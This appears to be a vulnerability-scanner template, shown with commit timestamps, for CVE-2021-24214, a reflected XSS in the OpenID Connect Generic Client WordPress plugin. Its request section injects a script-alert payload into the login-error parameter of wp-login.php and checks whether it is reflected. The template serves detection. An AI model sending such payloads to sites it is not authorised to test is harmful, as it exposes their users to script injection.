2022-09-15 18:21:21 +00:00
id : CVE-2021-24214
info :
2022-09-16 03:39:23 +00:00
name : OpenID Connect Generic Client 3.8.0-3.8.1 - Reflected Cross Site Scripting (XSS) via Login Error
2022-09-15 18:21:21 +00:00
author : tess
severity : medium
2022-09-16 03:39:23 +00:00
description : The OpenID Connect Generic Client WordPress plugin 3.8.0 and 3.8.1 did not sanitise the login error when output back in the login form, leading to a reflected Cross-Site Scripting issue. This issue does not require authentication and can be exploited with the default configuration.
2022-09-15 19:12:23 +00:00
reference :
2022-09-15 18:21:21 +00:00
- https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
- https://nvd.nist.gov/vuln/detail/CVE-2021-24214
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
2022-09-15 19:12:23 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24214
cwe-id : CWE-79
2022-09-16 10:53:56 +00:00
metadata :
verified : true
2022-09-16 11:14:44 +00:00
tags : wpscan,cve,cve2021,wordpress,xss,wp-plugin,wp,openid
2022-09-15 18:21:21 +00:00
requests :
- method : GET
path :
2022-09-16 03:39:23 +00:00
- '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'
2022-09-15 18:21:21 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-09-16 03:39:23 +00:00
- 'ERROR (<script>alert(document.domain)</script>):'
- 'Login with OpenID Connect'
2022-09-15 18:21:21 +00:00
condition : and
- type : word
part : header
words :
- text/html
- type : status
status :
- 200